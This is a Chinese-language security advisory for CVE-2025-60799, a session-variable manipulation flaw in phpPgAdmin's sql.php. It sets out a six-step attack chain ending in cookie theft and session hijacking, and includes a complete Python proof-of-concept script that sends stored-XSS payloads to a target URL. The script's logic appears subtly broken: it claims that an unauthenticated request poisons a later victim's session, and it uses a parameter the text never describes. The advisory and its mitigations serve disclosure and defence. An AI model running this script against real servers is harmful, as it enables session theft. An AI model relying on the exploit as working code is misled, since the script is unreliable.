IPBUF安全漏洞报告
English
CVE-2025-60799 CVSS 6.1 中危

CVE-2025-60799: phpPgAdmin会话变量未授权访问漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-60799
漏洞类型
访问控制错误
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
phpPgAdmin

相关标签

访问控制错误会话管理漏洞存储型XSS会话中毒phpPgAdminCVE-2025-60799

漏洞概述

CVE-2025-60799是phpPgAdmin 7.13.0及更早版本中存在的一个中危访问控制漏洞。该漏洞位于sql.php文件的第68-76行,由于应用程序在处理用户可控参数时缺乏适当的验证和访问控制检查,攻击者可以未经授权地操作会话变量。通过构造特定的HTTP请求,攻击者能够利用subject、server、database、queryid等参数在$_SESSION['sqlquery']中存储任意SQL查询内容,进而可能导致会话中毒、存储型跨站脚本攻击(XSS)或未经授权访问敏感会话数据。此漏洞无需认证即可利用,但需要用户交互,攻击向量为网络范围,CVSS评分为6.1(中等严重程度)。

技术细节

该漏洞的根本原因在于phpPgAdmin的sql.php文件对用户输入参数的处理存在缺陷。在第68-76行代码中,应用程序直接接受并处理用户通过GET或POST请求提交的subject、server、database、queryid等参数,并将其存储到会话变量$_SESSION['sqlquery']中,而没有进行充分的权限验证和输入过滤。攻击者可以通过构造恶意请求,将任意SQL查询语句注入到会话变量中。由于这些会话数据在后续请求中会被应用程序使用,攻击者可能利用此漏洞执行存储型XSS攻击,窃取用户会话cookie或执行其他恶意操作。此外,攻击者还可以通过操纵会话变量来污染其他用户的会话环境,导致会话混淆或数据泄露。漏洞的成功利用需要诱导目标用户访问攻击者构造的恶意链接或页面。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器上运行的phpPgAdmin版本(需 <= 7.13.0),确认sql.php端点可访问
STEP 2
步骤2: 构造恶意请求
攻击者构造包含恶意参数的HTTP请求,使用subject、server、database、queryid等参数注入payload到$_SESSION['sqlquery']变量
STEP 3
步骤3: 社会工程攻击
攻击者通过钓鱼邮件、即时消息等方式诱导目标用户访问构造的恶意链接,需要用户交互(UI:R)
STEP 4
步骤4: 会话污染
当目标用户访问恶意链接时,payload被存储在其会话变量中,导致会话中毒
STEP 5
步骤5: 触发恶意代码
目标用户在后续访问phpPgAdmin时,被注入的存储型XSS payload被执行,可能窃取cookie或执行其他恶意操作
STEP 6
步骤6: 会话劫持
攻击者利用窃取的会话信息劫持用户会话,获取未授权访问权限或敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-60799 PoC - phpPgAdmin Session Variable Manipulation # Target: phpPgAdmin <= 7.13.0 (sql.php lines 68-76) def exploit_cve_2025_60799(target_url, attacker_query="<script>alert('XSS')</script>"): """ Exploit for CVE-2025-60799: phpPgAdmin Incorrect Access Control Allows unauthorized manipulation of session variables via user-controlled parameters """ # Target endpoint endpoint = f"{target_url.rstrip('/')}/sql.php" # Malicious parameters to manipulate session variables # These parameters are accepted without proper validation (lines 68-76) params = { 'subject': 'server', 'server': '1', # Server ID 'database': 'postgres', # Database name 'queryid': 'malicious_query', # Arbitrary query identifier 'query': attacker_query # Injected SQL/XSS payload } print(f"[*] Targeting: {endpoint}") print(f"[*] Injecting payload: {attacker_query}") try: # Send request with malicious parameters # No authentication required (PR:N), but user interaction needed (UI:R) response = requests.get(endpoint, params=params, timeout=10) # Check if request was successful if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Payload stored in session variable: $_SESSION['sqlquery']") print(f"[*] Next victim accessing sql.php will trigger the stored payload") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [payload]") print(f"Example: python {sys.argv[0]} http://vulnerable-server/phppgadmin '<script>alert(document.cookie)</script>'") sys.exit(1) target = sys.argv[1] payload = sys.argv[2] if len(sys.argv) > 2 else "<script>alert('CVE-2025-60799')</script>" exploit_cve_2025_60799(target, payload)

影响范围

phpPgAdmin <= 7.13.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制phpPgAdmin的访问来源,仅允许受信任的IP访问管理界面;2) 部署Web应用防火墙规则,检测和拦截包含可疑参数的请求;3) 禁用或限制sql.php的直接访问;4) 实施严格的会话超时策略,减少会话被劫持的风险窗口;5) 监控异常访问模式,及时发现潜在的攻击行为。建议尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表